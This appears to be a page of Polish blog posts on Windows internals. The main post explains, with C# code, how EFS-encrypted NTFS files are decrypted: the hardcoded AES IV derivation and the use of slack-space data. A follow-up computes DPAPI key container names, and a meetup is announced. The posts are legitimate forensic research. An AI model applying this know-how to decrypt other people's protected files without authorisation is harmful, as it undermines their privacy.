Oczywiście najważniejszą składową jest 256-bitowy klucz deszyfrujący (zaznaczony na Rys 1 na czerwono). Druga istotna informacja oznaczona jest na niebiesko - jest to ALG_ID algorytmu symetrycznego (AES-256), który mamy zastosować podczas odszyfrowywania zawartości pliku. Mamy wszystko!

AES-256

Na chwilkę oddalamy się od naszego przypadku, bo potrzebujemy nieco innego spojrzenia na naszą zabawę. Swoje pierwsze próby podejmowałem dla pliku o rozmiarze 86 bajtów. Znałem oryginał, więc mogłem porównać go z odszyfrowanym plikiem, wyniki zabaw poniżej.


Rys 2. Oryginalna zawartość 86-bajtowego pliku testowego.

Strzał 1.


Rys 3. Zawartość odszyfrowanego pliku po pierwszych próbach.

Już pierwszy rzut oka zdradza, że coś jest jednak nie tak. Korzystam z implementacji .netowej AES z kluczem 256-bitowym, w trybie CBC, a jako wektor inicjalizacyjny ustawiłem ciąg 16 zer.

Strzał 2.

Jak widać na Rys 3. to nie jest takie proste - zaglądam zatem do linuxowego sterownika ntfs-3g i dosyć szybko znajduję zahardkodowany wektor iv, który generuję następująco:

private byte[] generatateEFSIV(ulong offset)
{
  ulong a = 0x5816657be9161312 + offset;
  ulong b = 0x1989adbe44918961 + offset;

  byte[] iv = new byte[16];

  Buffer.BlockCopy(BitConverter.GetBytes(a), 0, iv, 0, 8);
  Buffer.BlockCopy(BitConverter.GetBytes(b), 0, iv, 8, 8);

  return iv;
}

Puszczam test i w wyniku otrzymuję plik (Rys 4)


Rys 4. Poprawny iv i od razu lepiej :)

A zatem początek pliku jest już ok. Dalej niepokoi mnie jednak końcowe 6 bajtów - ewidentnie coś jest z nimi nie tak.

Czas wrócić do korzeni. Badany przypadek to AES z kluczem 32-bajtowym, 16 bajtowym wektorem inicjalizacyjnym, a dane podzielone są na bloki 16-bajtowe, przy czym trybem pracy algorytmu jest CBC. Momencik! Bloki są 16-bajtowe… więc co się dzieje z danymi z ostatniego bloku? Tam jest tylko 6 bajtów danych, a co z resztą?!
Pierwszy pomysł, jaki przyszedł mi do głowy - trzeba to czymś uzupełnić. Tylko czym?

W tym momencie wracamy do naszego pliku 15-bajtowego.


Rys 5. Zaszyfrowany plik 15-bajtowy

Tu sprawa jest szybka - znajdźmy ostatni bajt, dla którego plik jest poprawnie odszyfrowany i po prostu trzymajmy się tego, może to jakiś tajemniczy decrypt-padding, o którym należy pamiętać i tyle? Po kilkudziesięciu próbach znalazłem tajemniczy bajt (0xAF) i postanowiłem sprawdzić go na drugim testowym pliku, również 16-bajtowym o identycznej zawartości. Wynik? Oczywisty: nic z tego! Padding - owszem, jest, ale tylko przy szyfrowaniu. Podczas odszyfrowywania musisz mieć kompletne dane, inaczej nic z tego! Żadnych tajemniczych łańcuchów, po prostu wynik szyfrowania, tylko tyle i aż tyle.
Wracam zatem do strumienia $EFS i zaczynam szukać jakiejkolwiek wskazówki, może brakujące bajty zapisane są w którymś z ‘unknown’ pól? ctrl+f, ‘af’ -> “No occurrences of ‘af’ found”.
W tym momencie naszło mnie olśnienie. Wektor iv zmieniany jest co 512 bajtów, czyli wielkość sektora. A może w takim razie… nie, niemożliwe! (Rys 6)


Rys 6. Pierwsze 512 bajtów z klastra zawierającego strumień $DATA.

O, jest nasz 0xAF! Znalazł się :)
Sprawdźmy zatem, co otrzymamy po odszyfrowaniu danych z pierwszych 512 bajtów z klastra zawierającego strumień $DATA (Rys 7).


Rys 7. Dane po odszyfrowaniu.

Tym samym wszystkie zagadki zostały rozwiązane. EFS używa danych ze slack space, przy czym uzupełnia oryginalne dane zerami i to szyfruje. Zaskoczeni? :) Ja przyznaję - byłem mocno zaskoczony! :)

Podsumowanie

Uff, dotarliśmy do końca wędrówki! Każdy z omawianych elementów to godziny testów i prób. Poza hasłem użytkownika znajdziecie tu wszystko, a i samo hasło nie jest wielką tajemnicą - inaczej nie podawałbym na tacy skrótów SHA-1 ;) Czas na podziękowania i wskazanie głównych źródeł informacji.
Wszystkie testy przeprowadzałem na Windows 7 SP1 x64, która nie jest podłączona do domeny (co było widać w polu domainKeyLen = 0 - w której strukturze? ;)).

  1. Pierwsza poważniejsza próba zmierzenia się z EFS: [KLIK]. Źródło inspiracji odnośnie pokolorowania danych, a także wskazanie najważniejszych elementów systemu.
    Czy zdajecie sobie sprawę z tego, że Peter (autor tekstu) binaria opracowywał w edytorze WinHex, a wszystko kolorował z użyciem Paint Shop Pro? Kupił nawet specjalny font na potrzeby grafik, ponieważ domyślny w rozdzielczości 1024x768 był nieczytelny. No cóż, na szczęście jest już 010 Editor, z którego ja miałem szczęście korzystać.
  2. Najważniejsze opracowanie DPAPI to DPAPIck. Znajdziecie tam artykuł + pełen kod napisany w Pythonie [KLIK], który starałem się przepisać na C#, oczywiście stosując dostępne w .NET Framework biblioteki kryptograficzne, a nie np. M2Crypto (na czym opiera się DPAPIck). Zmiany są bardzo poważne, w zasadzie to zupełnie nowa implementacja rozwiązania - bardziej zależało mi na pełnym zrozumieniu wszystkich mechanizmów, niż po prostu przetłumaczeniu kodu. Cel udało mi się osiągnąć, czego efekt widzieliście w części drugiej :) Przy okazji wyszło trochę braków, które zapewne pojawią się w wydaniu 0.4 DPAPIck.
  3. Źródła linuxowego sterownika ntfs-3g, w tym narzędzie ntfsdecrypt. Rozwiązanie linuxowe opiera się na zastosowaniu pliku certyfikatu .pfx, zawierającego pełen zestaw kluczy, o DPAPI należy zapomnieć.
  4. EFS to doskonały materiał na laboratorium. W zasadzie modelowo pokazuje jak można przechowywać wrażliwe dane, z jakich algorytmów należy korzystać, jakich parametrów użyć. Dla mnie to też była doskonała okazja, żeby przypomnieć sobie szczegóły RSA, AES, SHA, HMAC, PBKDF2 oraz wgryźć się w rozwiązania typu TSK. Nie może zatem zabraknąć literatury:
    1. "Kryptografia i bezpieczeństwo sieci komputerowych. Matematyka szyfrów i techniki kryptologii", William Stallings [KLIK]. Podręcznik akademicki.
    2. "Security Driven .NET", Stan Drapkin [KLIK]. Wydawać się może, że na 70 stronach nie da się za wiele napisać. Nic bardziej mylnego, ta książka to po prostu esencja esencji, wymaga jednak dosyć dobrej znajomości tematu.
    3. “Cryptography in .NET Succinctly”, Stephen Haunts [KLIK]. Założenie darmowej serii Succinctly to książka 50-100 stron, w której znajdziesz najważniejsze informacje z interesującego Cię tematu. Jako wprowadzenie, ale bez zbytnich uproszczeń i na odpowiednim poziomie, żeby móc coś zrobić - doskonała. Warto zajrzeć do niej przed Drapkinem, tym bardziej, że - powtarzam - jest całkowicie za darmo!
    4. “Windows Internals, part 2”, 6th edition. Mark Russinovich, David A. Salomon, Alex Ionescu. Co tu pisać - po prostu mus.

Myślałem, żeby przygotować z tego jakąś prezentację na którejś grupie (Windowsowej? .NET?), ale jakoś nie bardzo wiem kogo ten temat mógłby zainteresować. Jeśli uważasz, że temat wart jest szerszego pokazania, albo masz jakieś uwagi - zostaw komentarz! Podobało się, albo wręcz przeciwnie - podziel się!

Unique Container Name - rozwiązanie zagadki

$
0
0
W części 2. mini serii o $EFS, w rozdziale poświęconym certyfikatom wspomniałem, że nie znam sposobu wyliczania 'dynamic guid', czyli pierwszej składowej nazwy pliku zawierającego klucz RSA. Kurz po Ignite powoli opada, więc czas podzielić się nową wiedzą.

We wspomnianym tekście snułem przypuszczenia, że jest to jakiś skrót fragmentu, bądź całego certyfikatu. I w istocie jest to skrót, jednak nie certyfikatu, a nazwy kontenera. Wyliczenie nie jest takie oczywiste, choć też nie jest skomplikowane: obliczamy md5(ascii(lower(container_name))+’\0’), a następnie dzielimy go na 4. 32-bitowe słowa, zapisujemy je osobno little endian i całość łączymy w łańcuch. Poniżej kod realizujący powyższe dla danych z tekstu:

string containerName ="0d29406b-f9e6-4659-90e4-c407201049d2";

byte[] cnASCII = Encoding.ASCII.GetBytes(containerName);

byte[] cnASCIIBytes =newbyte[cnASCII.Length + 1];

Buffer.BlockCopy(cnASCII, 0, cnASCIIBytes, 0, cnASCII.Length);

byte[] result =new MD5CryptoServiceProvider().ComputeHash(cnASCIIBytes);

StringBuilder sb =new StringBuilder(32);

using (BinaryReader bReader =new BinaryReader(new MemoryStream(result)))

{

for (int i = 0; i < 4; i++)

sb.Append(bReader.ReadInt32().ToString("x8"));

}

Console.WriteLine("dynamic guid: {0}", sb.ToString());

//dynamic guid: 7023b50b1cb2749ef32e108926d13a7d


Reszta nazwy, czyli wartość MachineGuid pozostaje bez zmian, należy jednak pamiętać, że występuje on wyłącznie w kluczu HKLM\Software\Microsoft\Cryptography i nie ma jej w odpowiednim dla aplikacji 32-bit (HKLM\Software\Wow6432Node\Microsoft\Cryptography).



Warsaw Windows Internals... start!

$
0
0
Znasz Windows Internals Marka Russinovicha niczym Kubusia Puchatka A.A.Milne, debugger to Twój młotek i śrubokręt, a do tego masz rzut beretem do Warszawy i chcesz poznać innych zapaleńców - nic prostszego! Już jutro, czyli 30.06 o 18.00 odbędzie się pierwsze spotkanie Warsaw Windows Internals - grupy skupiającej straceńców podobnych do Ciebie. Więcej szczegółów po dołączeniu do grupy na meetup.com: [KLIK].

Na pierwszy rzut moja prezentacja o wnętrznościach DPAPI, a w tym całkiem świeże rezultaty wspólnych godzin spędzonych z Benjaminem (tym od mimikatza) oraz Grześkiem i Paulą (tą od pierwszego miejsca na Ignite 2015), a potem luźne rozważania odnośnie pomysłów na przyszłość i tego, co można wspólnie zrobić.

Zapraszam! :)
Viewing all 54 articles
Browse latest View live